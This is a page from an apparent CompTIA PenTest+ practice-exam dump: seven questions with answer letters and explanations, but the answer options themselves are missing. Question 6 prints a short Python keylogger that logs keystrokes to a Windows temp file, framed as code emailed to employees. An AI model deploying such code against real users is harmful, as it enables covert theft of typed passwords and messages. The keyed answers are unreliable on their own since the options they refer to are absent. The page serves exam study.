CompTIA PT0-002 CompTIA PenTest+ Certification Exam Practice Test

Page: 1 / 14
Total 388 questions
Question 1

A penetration tester discovers passwords in a publicly available data breach during the reconnaissance phase of the penetration test. Which of the following is the best action for the tester to take?



Answer : C

Upon discovering passwords in a publicly available data breach during the reconnaissance phase, the most ethical and constructive action for the penetration tester is to contact the client and inform them of the breach. This approach allows the client to take necessary actions to mitigate any potential risks, such as forcing password resets or enhancing their security measures. Adding the passwords to a report appendix (option A) without context or action could be seen as irresponsible, while doing nothing (option B) neglects the tester's duty to inform the client of potential threats. Using the passwords in a credential stuffing attack (option D) without explicit permission as part of an agreed testing scope would be unethical and potentially illegal.


Question 2

During a security assessment, a penetration tester decides to implement a simple TCP port scanner to check the open ports from 1000 to 2000. Which of the following Python scripts would achieve this task?



Answer : A

The correct Python script for implementing a simple TCP port scanner that checks for open ports from 1000 to 2000 is option A. This script uses a for loop to iterate through the range of ports, creates a socket object for each port using the socket.AF_INET address family (indicating IPv4) and socket.SOCK_STREAM socket type (indicating TCP), and attempts to connect to each port. If the connection attempt (connect_ex) returns 0, it indicates the port is open, and the script prints a message stating that the port is open before closing the socket. The other options contain syntax errors, use incorrect socket types, or have incorrect ranges that do not fully cover the specified ports.


Question 3

Which of the following describes how a penetration tester could prioritize findings in a report?



Answer : A

Prioritizing findings in a penetration test report should align with the business mission and goals. Understanding the business context allows a penetration tester to assess the impact of vulnerabilities in relation to the organization's critical functions and assets. This approach ensures that recommendations are not only technically sound but also relevant and actionable within the business's strategic framework. Options B, C, and D (Cyberassets, Network infrastructure, and Cyberthreats) are important factors but should be considered within the context of how they affect the business's mission and goals.


Question 4

Which of the following would be the most efficient way to write a Python script that interacts with a web application?



Answer : C

The most efficient way to write a Python script that interacts with web applications is to import the requests library. The requests library is a Python HTTP library that simplifies making HTTP requests to web servers, which is essential for interacting with web applications. It allows you to easily send HTTP/1.1 requests, without the need for manually adding query strings to your URLs, or form-encode your POST data. Options A and B involve creating a class or function for requests, which could be more time-consuming and less efficient than using a well-established library like requests. Option D, using the cURL OS command, is less efficient in a Python script since it involves calling an external command rather than using a native Python library.


Question 5

For an engagement, a penetration tester is required to use only local operating system tools for file transfer. Which of the following options should the penetration tester consider?



Answer : A

Netcat is a versatile networking utility which reads and writes data across network connections, using the TCP/IP protocol. It's included in many Linux distributions and is available for Windows as well. Since the requirement is to use only local operating system tools for file transfer, Netcat is a suitable option because it can easily be scripted or used directly from the command line to send and receive files, making it a powerful tool for file transfers in a penetration testing context. Options B and C, WinSCP and Filezilla, are not typically considered local operating system tools as they are third-party applications that need to be installed. Option D, Netstat, is a network utility that displays network connections, routing tables, and a number of network interface and network protocol statistics, and is not used for file transfers.


Question 6

During an assessment, a penetration tester emailed the following Python script to CompTIA's employees:

import pyHook, sys, logging, pythoncom, datetime

log_file='C:\\Windows\\Temp\\log_comptia.txt' def KbrdEvent(event):

logging.basicConfig(filename=log_file,level=logging.DEBUG, format='%(messages)s') chr(event.Ascii)

logging.log(10, chr(event.Ascii))

return True

hooks_manager = pyHook.HookManager()

hooks_manager.KeyDown = KbrdEvent

hooks_manager.HookKeyboard()

pythoncom.PumpMessages()

Which of the following is the intended effect of this script?



Answer : B

The provided Python script is designed to function as a keylogger, which is a type of surveillance software that has the capability to record every keystroke made on a computer. The script uses the pyHook library to hook into and monitor all keyboard events. When a key is pressed, the KbrdEvent function is triggered, which logs the ASCII value of the pressed key to a file named log_comptia.txt located in C:\\Windows\\Temp. The script is configured to continuously monitor keyboard events and log them, making its intended effect keylogging, rather than debugging an exploit, collecting logs in a general sense, or scheduling tasks.


Question 7

A penetration testing firm performs an assessment every six months for the same customer. While performing network scanning for the latest assessment, the penetration tester observes that several of the target hosts appear to be residential connections associated with a major television and ISP in the are

a. Which of the following is the most likely reason for the observation?



Answer : C

When a penetration tester notices several target hosts appearing to be residential connections associated with a major television and ISP, it's likely that the IP ranges initially assigned to the target organization have changed ownership and are now allocated to the ISP for residential use. This can happen due to reallocation of IP addresses by regional internet registries. Misconfiguration of the scanner (option A), malfunctioning of scanning tools (option B), or firewall blocking (option D) would not typically result in the discovery of residential connections in place of expected organizational targets.


Page:    1 / 14   
Total 388 questions